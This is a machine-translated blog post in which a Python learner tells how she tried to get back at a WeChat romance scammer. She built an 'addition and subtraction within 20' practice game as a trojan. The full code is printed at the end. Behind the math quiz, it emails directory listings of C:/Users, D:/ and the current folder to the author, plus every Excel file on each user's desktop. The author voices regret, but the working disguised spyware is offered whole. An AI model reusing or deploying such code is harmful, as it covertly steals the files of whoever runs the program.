[yunyunguai] item 4: addition and subtraction within 20 (plot version)

[project preview]

[creative background]

The creative background of this project is a very long story, which is quite wonderful.

In other words, a long time ago, Ben Yun was a big horse since he was in the lower grade of primary school. What was wrong in the math exam was always a simple question. For this, my parents really broke their hearts. My father, who knew a little about programming, customized a program of addition and subtraction within 20 for me, and asked me to do 30 oral arithmetic problems every day. That was my childhood nightmare! But this alone is not much. After all, who didn't do oral arithmetic when he was a child?

The program my father compiled for me is like this: I open the program every day, input the date of the day, and then the system generates oral arithmetic questions. I must do 30 right and add 1 wrong until I do 30 right. After that, the system will give me how much time I spent doing the problem this time, and probably generate a record file, so that my father can check whether I did it every day.

One day, by chance, I entered the wrong date and entered it as yesterday's date. I was surprised to find that today's topic is so deja vu? It seems that it was just done yesterday! On the second day as like as two peas, I verified it again, and entered the date of the first day again. Indeed, the title is exactly the same. I was very happy. One month after that, I did the questions on the first day of a month in a row, and the speed was getting faster and faster (nonsense, the order of questions and answers can be memorized). At that time, I was too young too simple. I didn't understand the truth that making a fortune in silence was true only when I was wrong. A month later, my cheating trick was discovered by my father. He was so angry that he beat my ass. I was rarely beaten when I was a child, so that fat beating made me remember very deeply.

Later, when I got to college, I asked my friends from the software college to help me restore and reproduce this program. Now I have learned programming, and I have the ability to make this program myself!

——But that's not why I listed this project. The above is just the prelude to the story. Wonderful in the back:

In other words, in early April this year, after compiling the small program "Yixiang Qiyuan" (item 3), I proudly went to the python learning group to share (show off) and enjoy (show off), and got a lot of praise. Several students applied to add my wechat programming experience on the spot. Coincidentally, among the students who added my wechat, a strange person was quietly mixed in. This person's nickname is "erudite". His verification information is only one sentence: Hello. I didn't look carefully. I thought it was a classmate and agreed directly.

 

What! The blind date introduced to me by sister Luo? I do know a sister Luo. She is the sister-in-law I invited when I was in confinement. She will introduce me to my blind date??? Sure enough, after a while, he said that the number given by "sister Luo" was wrong, and he added the wrong person. Aunt Ben said: I understand. It's quite new. Hahaha. After that, the young man asked me very familiar. On my first blind date, I didn't know what gift to buy. Balabala, that's how we talked.

We talked for two or three days. During this period, he went to see the real blind date. No accident happened. Then he said: he must go back to work. So we talked about work. He showed me the image: he has money and leisure, healthy lifestyle, noble social status, elegant taste, deep feelings, full of love, caring for women, and even a little interesting to me. As the saying goes: "nothing is courteous, either rape or theft". Just when I thought our chat topic was going to develop in the direction of "rape", his burden finally shook away.

 

Puha ha, Ben Yun couldn't help spraying coffee on the screen as soon as he saw the income chart. There's no return on software investment for a day. I earned 11500 today, with a total asset of 211500. That is to say, yesterday's total asset was 20w, clean and tidy. I'm afraid I can't figure out how high his income is?

I finally understood that Kaige was so kind to me and booed me every day. He didn't like my beauty, but wanted to take me to earn some pocket money and realize the common prosperity of socialism!

Alas, it's not easy for a liar these days. In order to catch a fish and kill a pig, he laid the groundwork with me for so long in the early stage, talked for so many days, showed kindness and licked. In the end, he may not be able to cheat money. I wanted to see their complete routine, so I decided to keep him and not expose him. However, it seems quite boring just to keep it like this. Why not -- try eating black?

With this idea, I was so excited that I couldn't sleep all night. I tossed and turned in bed and thought about what to do with him. I'm not good at asset fraud. I don't say it's illegal. Moreover, as a professional liar, he must be very sensitive. When I mention money, I have to reveal it. What am I good at? I'm good at programming! Haven't you just learned the OS module and automatic email recently? What can the two be combined to do?

 

[function assumption]

Let him run under the guise of a small game \ small program. In the background of the program, use OS to collect his desktop directory, obtain all excel tables on the desktop, and automatically send them to me by email.

The above is my idea. Let's see what the liar's computer desktop looks like, and whether there are documents such as "customer list" and "script collection" in it. I'll also have a look at them. And as long as I hang him and get his computer desktop, I can customize countless new games for him, step by step, and accurately obtain the information of his computer. Of course, I can also use OS Remove () simply and rudely deletes his computer data, but isn't it too easy to expose it? I don't want to provoke him and fall into unknown danger. After all, I don't know how much he knows about me. When he wasn't prepared at the beginning, my circle of friends was open to him.

For this small program under the guise, I chose the addition and subtraction method within 20. Didn't he say he had a child (yes, he was set to go out on a blind date after two years of widowhood). Take this program and improve the math for the baby!

 

[continue the plot]

I quickly made the "addition and subtraction within 20 - Special Edition for Kay" and tested it with myself and a colleague of mine, and the results were satisfactory. I sent him the packaged exe, and he obediently ordered it to run. Unexpectedly, his pirated Windows system is missing a dll plug-in, and he can't run my program!

Ah, ah, ah! Heartache is too painful to breathe. "I will die this day, not a crime of war!"

Since then, my chat with him changed the theme and became: he fooled me to download his investment platform. I followed his routine. He patched and ran my exe—— Yes, adult communication is so simple and direct that it doesn't waste time.

After chatting for another 2 or 3 days, he obviously began to be anxious. Why hasn't the fish taken the bait yet? I usually chat well. When it comes to downloading software, I whet and haw. Either the headmaster sent a lot of work, or the baby suddenly cried. He began to accuse me of not keeping my promise and being insincere with him. Of course, I don't want to show weakness. I also climb the moral highland and play the emotional card to reduce the dimension of his character:

 

I have to say that this is a very dedicated liar. In order to win my favor, he decided to make a last ditch attempt: overcome the shortcomings of his computer operation idiot and try to run my program.

 

Yes, I really put a lot of thought into it...

Finally, at least in our game, I won. Under my hand-in-hand step-by-step screenshot guidance, Kaige applied the patch and ran my exe. Unfortunately, I was not good at learning (there were bug s in the program sent to him at that time) and didn't successfully receive the expected email. When I planned to update the code and send him a new little game to play, it was too late. After he told me to "be honest and do what I promised others in the future", he decisively deleted my wechat. Yes, I was taught by a liar to be honest.

The story came to an abrupt end.

 

[completion feeling]

This project brings me too many feelings:

1. Confidence. The simple combination of the content in the class can achieve such a great function. This project is completely designed, developed, tested and produced by me independently. Although I didn't get the expected information and didn't punish the swindlers, the development of this project helped me greatly to improve my programming ability and confidence.

2. Stimulation. Unexpectedly, after only learning programming for a month, I actually embarked on the path of hackers.

3. Fear. Exe is really terrible. You don't know what strange code is hidden in it. A double click can steal the data of your computer and even empty your hard disk. I have clicked many downloaded exe before, and I will never dare to download it again. In line with the attitude of being responsible for the small partners in the group, I will never send exe in the group again.

4. Keep your heart. Thinking about how to eat black that night, I really tossed and turned and couldn't sleep. I thought about using fierce means to invade his computer and hijack his data. Maybe I can blackmail him. Finally gave up. "When you stare at the abyss, the abyss also stares at you.". It's too bad to let your heart fall into the abyss in order to be a liar. I talked about this scam with my friends in the group. When we discussed how to avoid being cheated, my point of view is: only if you are not greedy can you avoid being cheated. However, as an ordinary citizen, I try to punish swindlers with fierce and illegal methods, and even make profits by myself. This is a kind of "greed" in itself. If I fall into this desire, it must be myself who will eventually get hurt, and I may fall into the abyss.

 

[complete code]

Finally, attach the complete code (the program has been revised several times later, which may not be the way I sent it to him at first):

# Special Edition for Kai: add and subtract within 20, input your own name, obtain the current folder and C disk desktop folder directory, obtain all xlsx files on the desktop, and send them to yunyun

import datetime,random,os
from openpyxl import load_workbook,Workbook
from email.mime.application import MIMEApplication
from email.mime.multipart import MIMEMultipart
import smtplib
from email.mime.text import MIMEText
import pathlib
import csv

#--------------------------------Define email function-----------------------------

def send_mail(username, passwd, recv, title, content, mail_host='smtp.qq.com', port=465, file=None):
    if file:
        msg = MIMEMultipart()
        # Construct text
        part_text = MIMEText(content)
        msg.attach(part_text)  # Add the text to the body of the message

        # Building mail attachments
        part_attach1 = MIMEApplication(open(file, 'rb').read())  # Open attachment
        part_attach1.add_header('Content-Disposition', 'attachment', filename =pathlib.Path(file).name)  # Name the attachment
        msg.attach(part_attach1)  # Add attachment
    else:
        msg = MIMEText(content)  # Mail content
    msg['Subject'] = title  # Mail subject
    msg['From'] = from_addr  # Sender account
    msg['To'] = to_addr  # Recipient account list
    server = smtplib.SMTP_SSL(smtp_server)
    server.connect(smtp_server,465)
    server.login(username, passwd)  # Sign in
    server.sendmail(username, recv, msg.as_string())
    server.quit()

#------------------Opening remarks of addition and subtraction program within 20 (obtain and send Disk C, disk D and current folder directory)---------------

print('\n Objective: add and subtract within 20, input the number of questions, record the start time, end time and the number of correct questions. Generate record file.')

smtp_server = 'smtp.qq.com'
from_addr='xxxxxxxx@qq.com'
password='xxxxxxxxxxxxxxxx'
receivers={'Yun Yun':'xxxxxxxx@qq.com'}
names=[]
to_addrs=[]

for i in receivers:
    names.append(i)
    to_addrs.append(receivers[i])

for i in to_addrs:
    to_addr=i
    
    title0='Current folder:'
    files0=str(os.listdir())
        
    titlec='C disc Users'
    filesc=str(os.listdir('C:/Users/'))

    titled='D disc'
    filesd=str(os.listdir('D:/'))

    send_mail(from_addr,password,to_addr, title0,files0,file=None)               
    send_mail(from_addr,password,to_addr, titlec,filesc,file=None)
    send_mail(from_addr,password,to_addr, titled,filesd,file=None)

#------------------Enter your name and start collecting desktop information and all concurrent excel emails---------------------------

xingming=input('\n Are you ready? Please enter your name to start the question>')

title='{}:20+-'.format(xingming)

for i in to_addrs:
    to_addr=i
    files1=os.listdir('C:/Users/')
    for f in files1:
        if f not in ['Administrator', 'All Users', 'Default', 'Default User', 'desktop.ini', 'Public']:
            path='C:/Users/'+f
            deskpath=path+'/desktop/'            
            try:
                deskfiles=os.listdir(deskpath)
                text='Desktop file list:\n'+str(deskfiles)
                send_mail(from_addr,password,to_addr, title,text,file=None)
                for i in deskfiles:                     
                    if '.xlsx' in i:
                        attachfilepath=deskpath+i
                        text0='Get excel,Please check the attachment.'
                        send_mail(from_addr,password,to_addr, title,text0,file=attachfilepath)
                
            except:
                pass

#-------------------------The addition and subtraction method within 20 starts with the formal procedure-----------------------------

while True:
    print('-'*70)
    num=int(input('\n Please enter the number of questions:'))

    start=str(datetime.datetime.now())
    starttime=start[:-7]

    print('\n Start doing questions! Start time:{}\n'.format(starttime))
    count=0

    for i in range(0,num):

        print('The first{}Question:'.format(i+1),end="")
        
        a=random.randint(1,20)
        b=random.randint(1,20)

        jiajian=random.randint(0,1)
        
        if jiajian==1:
            n=int(input('{}+{}='.format(a,b)))
            if n==a+b:
                print('correct\n')
                count+=1
            else:
                print('error\n')
        else:
            if b>a:
                a,b=b,a
            n=int(input('{}-{}='.format(a,b)))
            if n==a-b:
                print('correct\n')
                count+=1
            else:
                print('error\n')

    end=str(datetime.datetime.now())
    endtime=end[:-7]

    today=datetime.date.today()

    print('-'*70)
    print('\n Finish the question. End time:{}'.format(endtime))
    print('\n correct{}Road, error{}Avenue.'.format(count,num-count))

    if count==num:
        print("\n Wow, you did it all right! That's great! Sprinkle flowers✿✿ヽ'°▽°ノ✿")

    path='{}Record of results.xlsx'.format(xingming)

    filenames=os.listdir('./')
    if path not in filenames:
        wb=Workbook()
        ws=wb.active
        ws['A1']='date'
        ws['B1']='start time'
        ws['C1']='End time'
        ws['D1']='Number of topics'
        ws['E1']='correct'
        ws['F1']='error'
    else:
        wb=load_workbook(path)
        ws=wb.active
        
    ws.append([today,starttime,endtime,num,count,num-count])
    wb.save(path)
    
    again=input('\n Press 1 to practice again. Press other keys to exit the program:')
    if again!='1':        
        break

 

Keywords: Python Operating System

Added by madkris on Wed, 09 Feb 2022 15:40:49 +0200